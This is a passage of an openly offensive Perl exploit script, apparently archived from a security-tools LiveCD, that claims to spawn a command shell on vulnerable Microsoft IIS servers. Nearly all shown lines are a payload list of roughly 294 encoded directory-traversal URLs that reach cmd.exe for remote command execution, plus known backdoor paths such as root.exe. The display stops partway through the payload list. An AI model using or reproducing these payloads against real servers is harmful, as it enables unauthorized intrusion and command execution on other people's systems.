home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / iis-plus.pl < prev    next >
Encoding:
Text File  |  2005-02-12  |  35.0 KB  |  676 lines
  1. ##########################################################
  2. # Spawn Ms-Doz-like Shell on MicrosoZ IIS
  3. # on IIS vulnerable servers using 450 ways 
  4. # (like Unicode, Codered, corrupt string and Backdoor)
  5. #     NOW SUPPORT ALL UNIX SYSTEM !
  6. # Use port number with SSLproxy for testing SSL sites
  7. # Andrea Spabam 2001 GPL2 or highter
  8. # spabam@go.to 
  9. # This Script is currently under development
  10. # link to http://spabam.da.ru to get latest version
  11. ##########################################################
  12. use strict;
  13. use IO::Socket;
  14. my $host;        
  15. my $port;        
  16. my $command;        
  17. my $url;        
  18. my @results;        
  19. my $probe;        
  20. my @U;            
  21. $U[1] = "/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+";
  22. $U[2] = "/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+";
  23. $U[3] = "/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
  24. $U[4] = "/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+";
  25. $U[5] = "..%c1%9c../winnt/system32/cmd.exe?/c+";
  26. $U[6] = "/.%252e/.%252e/winnt/system32/cmd.exe?/c+";
  27. $U[7] = "/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+";
  28. $U[8] = "/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
  29. $U[9] = "/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+";
  30. $U[10] = "/..%255c..%255cwinnt/system32/cmd.exe?/c+";
  31. $U[11] = "/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+";
  32. $U[12] = "/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+";
  33. $U[13] = "/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+";
  34. $U[14] = "/..%c0%af..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+";
  35. $U[15] = "/..%c1%1c..%c1%1c..%c1%1c..%Cc1%1cwinnt/system32/cmd.exe?/c+";
  36. $U[16] = "/..%c1%9c..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+";
  37. $U[17] = "/..%c0%9v../winnt/system32/cmd.exe?/c+";
  38. $U[18] = "/..%c0%af../winnt/system32/cmd.exe?/c+";
  39. $U[19] = "/..%c0%qf../winnt/system32/cmd.exe?/c+";
  40. $U[20] = "/..%c1%1c../winnt/system32/cmd.exe?/c+";
  41. $U[21] = "/..%c1%8s../winnt/system32/cmd.exe?/c+";
  42. $U[22] = "/..%c1%9c../winnt/system32/cmd.exe?/c+";
  43. $U[23] = "/..%c1%af../winnt/system32/cmd.exe?/c+";
  44. $U[24] = "/..%c1%pc../winnt/system32/cmd.exe?/c+";
  45. $U[25] = "/..%e0%80%af../winnt/system32/cmd.exe?/c+";
  46. $U[26] = "/..%f0%80%80%af../winnt/system32/cmd.exe?/c+";
  47. $U[27] = "/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+";
  48. $U[28] = "/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+";
  49. $U[29] = "/root.exe?/c+";
  50. $U[30] = "/cmd.exe?/c+";
  51. $U[31] = "/sensepost.exe?/c+";
  52. $U[32] = "/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
  53. $U[33] = "/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
  54. $U[34] = "/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
  55. $U[35] = "/.%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+";
  56. $U[36] = "/MSADC/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+";
  57. $U[37] = "/MSADC/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+";
  58. $U[38] = "/MSADC/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
  59. $U[39] = "/MSADC/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+";
  60. $U[40] = "/MSADC..%c1%9c../winnt/system32/cmd.exe?/c+";
  61. $U[41] = "/MSADC/.%252e/.%252e/winnt/system32/cmd.exe?/c+";
  62. $U[42] = "/MSADC/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+";
  63. $U[43] = "/MSADC/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
  64. $U[44] = "/MSADC/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+";
  65. $U[45] = "/MSADC/..%255c..%255cwinnt/system32/cmd.exe?/c+";
  66. $U[46] = "/MSADC/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+";
  67. $U[47] = "/MSADC/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+";
  68. $U[48] = "/MSADC/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+";
  69. $U[49] = "/MSADC/..%c0%af..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+";
  70. $U[50] = "/MSADC/..%c1%1c..%c1%1c..%c1%1c..%Cc1%1cwinnt/system32/cmd.exe?/c+";
  71. $U[51] = "/MSADC/..%c1%9c..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+";
  72. $U[52] = "/MSADC/..%c0%9v../winnt/system32/cmd.exe?/c+";
  73. $U[53] = "/MSADC/..%c0%af../winnt/system32/cmd.exe?/c+";
  74. $U[54] = "/MSADC/..%c0%qf../winnt/system32/cmd.exe?/c+";
  75. $U[55] = "/MSADC/..%c1%1c../winnt/system32/cmd.exe?/c+";
  76. $U[56] = "/MSADC/..%c1%8s../winnt/system32/cmd.exe?/c+";
  77. $U[57] = "/MSADC/..%c1%9c../winnt/system32/cmd.exe?/c+";
  78. $U[58] = "/MSADC/..%c1%af../winnt/system32/cmd.exe?/c+";
  79. $U[59] = "/MSADC/..%c1%pc../winnt/system32/cmd.exe?/c+";
  80. $U[60] = "/MSADC/..%e0%80%af../winnt/system32/cmd.exe?/c+";
  81. $U[61] = "/MSADC/..%f0%80%80%af../winnt/system32/cmd.exe?/c+";
  82. $U[62] = "/MSADC/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+";
  83. $U[63] = "/MSADC/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+";
  84. $U[64] = "/MSADC/root.exe?/c+";
  85. $U[65] = "/MSADC/cmd.exe?/c+";
  86. $U[66] = "/MSADC/sensepost.exe?/c+";
  87. $U[67] = "/MSADC/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
  88. $U[68] = "/MSADC/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
  89. $U[69] = "/MSADC/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
  90. $U[70] = "/MSADC/.%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+";
  91. $U[71] = "/msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+";
  92. $U[72] = "/msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+";
  93. $U[73] = "/msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
  94. $U[74] = "/msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+";
  95. $U[75] = "/msadc..%c1%9c../winnt/system32/cmd.exe?/c+";
  96. $U[76] = "/msadc/.%252e/.%252e/winnt/system32/cmd.exe?/c+";
  97. $U[77] = "/msadc/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+";
  98. $U[78] = "/msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
  99. $U[79] = "/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+";
  100. $U[80] = "/msadc/..%255c..%255cwinnt/system32/cmd.exe?/c+";
  101. $U[81] = "/msadc/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+";
  102. $U[82] = "/msadc/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+";
  103. $U[83] = "/msadc/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+";
  104. $U[84] = "/msadc/..%c0%af..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+";
  105. $U[85] = "/msadc/..%c1%1c..%c1%1c..%c1%1c..%Cc1%1cwinnt/system32/cmd.exe?/c+";
  106. $U[86] = "/msadc/..%c1%9c..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+";
  107. $U[87] = "/msadc/..%c0%9v../winnt/system32/cmd.exe?/c+";
  108. $U[88] = "/msadc/..%c0%af../winnt/system32/cmd.exe?/c+";
  109. $U[89] = "/msadc/..%c0%qf../winnt/system32/cmd.exe?/c+";
  110. $U[90] = "/msadc/..%c1%1c../winnt/system32/cmd.exe?/c+";
  111. $U[91] = "/msadc/..%c1%8s../winnt/system32/cmd.exe?/c+";
  112. $U[92] = "/msadc/..%c1%9c../winnt/system32/cmd.exe?/c+";
  113. $U[93] = "/msadc/..%c1%af../winnt/system32/cmd.exe?/c+";
  114. $U[94] = "/msadc/..%c1%pc../winnt/system32/cmd.exe?/c+";
  115. $U[95] = "/msadc/..%e0%80%af../winnt/system32/cmd.exe?/c+";
  116. $U[96] = "/msadc/..%f0%80%80%af../winnt/system32/cmd.exe?/c+";
  117. $U[97] = "/msadc/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+";
  118. $U[98] = "/msadc/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+";
  119. $U[99] = "/msadc/root.exe?/c+";
  120. $U[100] = "/msadc/cmd.exe?/c+";
  121. $U[101] = "/msadc/sensepost.exe?/c+";
  122. $U[102] = "/msadc/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
  123. $U[103] = "/msadc/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
  124. $U[104] = "/msadc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
  125. $U[105] = "/msadc/.%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+";
  126. $U[106] = "/scripts/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+";
  127. $U[107] = "/scripts/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+";
  128. $U[108] = "/scripts/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
  129. $U[109] = "/scripts/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+";
  130. $U[110] = "/scripts..%c1%9c../winnt/system32/cmd.exe?/c+";
  131. $U[111] = "/scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+";
  132. $U[112] = "/scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+";
  133. $U[113] = "/scripts/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
  134. $U[114] = "/scripts/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+";
  135. $U[115] = "/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+";
  136. $U[116] = "/scripts/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+";
  137. $U[117] = "/scripts/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+";
  138. $U[118] = "/scripts/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+";
  139. $U[119] = "/scripts/..%c0%af..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+";
  140. $U[120] = "/scripts/..%c1%1c..%c1%1c..%c1%1c..%Cc1%1cwinnt/system32/cmd.exe?/c+";
  141. $U[121] = "/scripts/..%c1%9c..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+";
  142. $U[122] = "/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+";
  143. $U[123] = "/scripts/..%c0%af../winnt/system32/cmd.exe?/c+";
  144. $U[124] = "/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+";
  145. $U[125] = "/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+";
  146. $U[126] = "/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+";
  147. $U[127] = "/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+";
  148. $U[128] = "/scripts/..%c1%af../winnt/system32/cmd.exe?/c+";
  149. $U[129] = "/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+";
  150. $U[130] = "/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+";
  151. $U[131] = "/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+";
  152. $U[132] = "/scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+";
  153. $U[133] = "/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+";
  154. $U[134] = "/scripts/root.exe?/c+";
  155. $U[135] = "/scripts/cmd.exe?/c+";
  156. $U[136] = "/scripts/sensepost.exe?/c+";
  157. $U[137] = "/scripts/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
  158. $U[138] = "/scripts/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
  159. $U[139] = "/scripts/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
  160. $U[140] = "/scripts/.%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+";
  161. $U[141] = "/PBServer/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+";
  162. $U[142] = "/PBServer/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+";
  163. $U[143] = "/PBServer/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
  164. $U[144] = "/PBServer/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+";
  165. $U[145] = "/PBServer..%c1%9c../winnt/system32/cmd.exe?/c+";
  166. $U[146] = "/PBServer/.%252e/.%252e/winnt/system32/cmd.exe?/c+";
  167. $U[147] = "/PBServer/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+";
  168. $U[148] = "/PBServer/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
  169. $U[149] = "/PBServer/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+";
  170. $U[150] = "/PBServer/..%255c..%255cwinnt/system32/cmd.exe?/c+";
  171. $U[151] = "/PBServer/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+";
  172. $U[152] = "/PBServer/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+";
  173. $U[153] = "/PBServer/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+";
  174. $U[154] = "/PBServer/..%c0%af..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+";
  175. $U[155] = "/PBServer/..%c1%1c..%c1%1c..%c1%1c..%Cc1%1cwinnt/system32/cmd.exe?/c+";
  176. $U[156] = "/PBServer/..%c1%9c..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+";
  177. $U[157] = "/PBServer/..%c0%9v../winnt/system32/cmd.exe?/c+";
  178. $U[158] = "/PBServer/..%c0%af../winnt/system32/cmd.exe?/c+";
  179. $U[159] = "/PBServer/..%c0%qf../winnt/system32/cmd.exe?/c+";
  180. $U[160] = "/PBServer/..%c1%1c../winnt/system32/cmd.exe?/c+";
  181. $U[161] = "/PBServer/..%c1%8s../winnt/system32/cmd.exe?/c+";
  182. $U[162] = "/PBServer/..%c1%9c../winnt/system32/cmd.exe?/c+";
  183. $U[163] = "/PBServer/..%c1%af../winnt/system32/cmd.exe?/c+";
  184. $U[164] = "/PBServer/..%c1%pc../winnt/system32/cmd.exe?/c+";
  185. $U[165] = "/PBServer/..%e0%80%af../winnt/system32/cmd.exe?/c+";
  186. $U[166] = "/PBServer/..%f0%80%80%af../winnt/system32/cmd.exe?/c+";
  187. $U[167] = "/PBServer/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+";
  188. $U[168] = "/PBServer/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+";
  189. $U[169] = "/PBServer/root.exe?/c+";
  190. $U[170] = "/PBServer/cmd.exe?/c+";
  191. $U[171] = "/PBServer/sensepost.exe?/c+";
  192. $U[172] = "/PBServer/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
  193. $U[173] = "/PBServer/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
  194. $U[174] = "/PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
  195. $U[175] = "/PBServer/.%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+";
  196. $U[176] = "/Rpc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+";
  197. $U[177] = "/Rpc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+";
  198. $U[178] = "/Rpc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
  199. $U[179] = "/Rpc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+";
  200. $U[180] = "/Rpc..%c1%9c../winnt/system32/cmd.exe?/c+";
  201. $U[181] = "/Rpc/.%252e/.%252e/winnt/system32/cmd.exe?/c+";
  202. $U[182] = "/Rpc/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+";
  203. $U[183] = "/Rpc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
  204. $U[184] = "/Rpc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+";
  205. $U[185] = "/Rpc/..%255c..%255cwinnt/system32/cmd.exe?/c+";
  206. $U[186] = "/Rpc/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+";
  207. $U[187] = "/Rpc/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+";
  208. $U[188] = "/Rpc/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+";
  209. $U[189] = "/Rpc/..%c0%af..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+";
  210. $U[190] = "/Rpc/..%c1%1c..%c1%1c..%c1%1c..%Cc1%1cwinnt/system32/cmd.exe?/c+";
  211. $U[191] = "/Rpc/..%c1%9c..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+";
  212. $U[192] = "/Rpc/..%c0%9v../winnt/system32/cmd.exe?/c+";
  213. $U[193] = "/Rpc/..%c0%af../winnt/system32/cmd.exe?/c+";
  214. $U[194] = "/Rpc/..%c0%qf../winnt/system32/cmd.exe?/c+";
  215. $U[195] = "/Rpc/..%c1%1c../winnt/system32/cmd.exe?/c+";
  216. $U[196] = "/Rpc/..%c1%8s../winnt/system32/cmd.exe?/c+";
  217. $U[197] = "/Rpc/..%c1%9c../winnt/system32/cmd.exe?/c+";
  218. $U[198] = "/Rpc/..%c1%af../winnt/system32/cmd.exe?/c+";
  219. $U[199] = "/Rpc/..%c1%pc../winnt/system32/cmd.exe?/c+";
  220. $U[200] = "/Rpc/..%e0%80%af../winnt/system32/cmd.exe?/c+";
  221. $U[201] = "/Rpc/..%f0%80%80%af../winnt/system32/cmd.exe?/c+";
  222. $U[202] = "/Rpc/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+";
  223. $U[203] = "/Rpc/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+";
  224. $U[204] = "/Rpc/root.exe?/c+";
  225. $U[205] = "/Rpc/cmd.exe?/c+";
  226. $U[206] = "/Rpc/sensepost.exe?/c+";
  227. $U[207] = "/Rpc/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
  228. $U[208] = "/Rpc/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
  229. $U[209] = "/Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
  230. $U[210] = "/Rpc/.%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+";
  231. $U[211] = "/samples/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+";
  232. $U[212] = "/samples/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+";
  233. $U[213] = "/samples/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
  234. $U[214] = "/samples/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+";
  235. $U[215] = "/samples..%c1%9c../winnt/system32/cmd.exe?/c+";
  236. $U[216] = "/samples/.%252e/.%252e/winnt/system32/cmd.exe?/c+";
  237. $U[217] = "/samples/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+";
  238. $U[218] = "/samples/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
  239. $U[219] = "/samples/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+";
  240. $U[220] = "/samples/..%255c..%255cwinnt/system32/cmd.exe?/c+";
  241. $U[221] = "/samples/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+";
  242. $U[222] = "/samples/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+";
  243. $U[223] = "/samples/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+";
  244. $U[224] = "/samples/..%c0%af..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+";
  245. $U[225] = "/samples/..%c1%1c..%c1%1c..%c1%1c..%Cc1%1cwinnt/system32/cmd.exe?/c+";
  246. $U[226] = "/samples/..%c1%9c..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+";
  247. $U[227] = "/samples/..%c0%9v../winnt/system32/cmd.exe?/c+";
  248. $U[228] = "/samples/..%c0%af../winnt/system32/cmd.exe?/c+";
  249. $U[229] = "/samples/..%c0%qf../winnt/system32/cmd.exe?/c+";
  250. $U[230] = "/samples/..%c1%1c../winnt/system32/cmd.exe?/c+";
  251. $U[231] = "/samples/..%c1%8s../winnt/system32/cmd.exe?/c+";
  252. $U[232] = "/samples/..%c1%9c../winnt/system32/cmd.exe?/c+";
  253. $U[233] = "/samples/..%c1%af../winnt/system32/cmd.exe?/c+";
  254. $U[234] = "/samples/..%c1%pc../winnt/system32/cmd.exe?/c+";
  255. $U[235] = "/samples/..%e0%80%af../winnt/system32/cmd.exe?/c+";
  256. $U[236] = "/samples/..%f0%80%80%af../winnt/system32/cmd.exe?/c+";
  257. $U[237] = "/samples/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+";
  258. $U[238] = "/samples/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+";
  259. $U[239] = "/samples/root.exe?/c+";
  260. $U[240] = "/samples/cmd.exe?/c+";
  261. $U[241] = "/samples/sensepost.exe?/c+";
  262. $U[242] = "/samples/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
  263. $U[243] = "/samples/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
  264. $U[244] = "/samples/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
  265. $U[245] = "/samples/.%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+";
  266. $U[246] = "/_vti_bin/.%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+";
  267. $U[247] = "/_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+";
  268. $U[248] = "/_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+";
  269. $U[249] = "/_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+";
  270. $U[250] = "/_vti_bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
  271. $U[251] = "/_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+";
  272. $U[252] = "/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
  273. $U[253] = "/_vti_bin/..%c0%af../..%c0%1f../..%c0%af../winnt/system32/cmd.exe?/c+";
  274. $U[254] = "/_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+";
  275. $U[255] = "/_vti_cnf/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
  276. $U[256] = "/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
  277. $U[257] = "/adsamples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
  278. $U[258] = "/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
  279. $U[259] = "/cgi-bin/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+";
  280. $U[260] = "/cgi-bin/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+";
  281. $U[261] = "/cgi-bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
  282. $U[262] = "/cgi-bin/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+";
  283. $U[263] = "/cgi-bin..%c1%9c../winnt/system32/cmd.exe?/c+";
  284. $U[264] = "/cgi-bin/.%252e/.%252e/winnt/system32/cmd.exe?/c+";
  285. $U[265] = "/cgi-bin/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+";
  286. $U[266] = "/cgi-bin/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
  287. $U[267] = "/cgi-bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+";
  288. $U[268] = "/cgi-bin/..%255c..%255cwinnt/system32/cmd.exe?/c+";
  289. $U[269] = "/cgi-bin/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+";
  290. $U[270] = "/cgi-bin/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+";
  291. $U[271] = "/cgi-bin/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+";
  292. $U[272] = "/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+";
  293. $U[273] = "/cgi-bin/..%c1%1c..%c1%1c..%c1%1c..%Cc1%1cwinnt/system32/cmd.exe?/c+";
  294. $U[274] = "/cgi-bin/..%c1%9c..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+";
  295. $U[275] = "/cgi-bin/..%c0%9v../winnt/system32/cmd.exe?/c+";
  296. $U[276] = "/cgi-bin/..%c0%af../winnt/system32/cmd.exe?/c+";
  297. $U[277] = "/cgi-bin/..%c0%qf../winnt/system32/cmd.exe?/c+";
  298. $U[278] = "/cgi-bin/..%c1%1c../winnt/system32/cmd.exe?/c+";
  299. $U[279] = "/cgi-bin/..%c1%8s../winnt/system32/cmd.exe?/c+";
  300. $U[280] = "/cgi-bin/..%c1%9c../winnt/system32/cmd.exe?/c+";
  301. $U[281] = "/cgi-bin/..%c1%af../winnt/system32/cmd.exe?/c+";
  302. $U[282] = "/cgi-bin/..%c1%pc../winnt/system32/cmd.exe?/c+";
  303. $U[283] = "/cgi-bin/..%e0%80%af../winnt/system32/cmd.exe?/c+";
  304. $U[284] = "/cgi-bin/..%f0%80%80%af../winnt/system32/cmd.exe?/c+";
  305. $U[285] = "/cgi-bin/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+";
  306. $U[286] = "/cgi-bin/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+";
  307. $U[287] = "/cgi-bin/root.exe?/c+";
  308. $U[288] = "/cgi-bin/cmd.exe?/c+";
  309. $U[289] = "/cgi-bin/sensepost.exe?/c+";
  310. $U[290] = "/cgi-bin/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
  311. $U[291] = "/cgi-bin/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
  312. $U[292] = "/cgi-bin/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
  313. $U[293] = "/cgi-bin/.%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+";
  314. $U[294] = "/cgi-bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
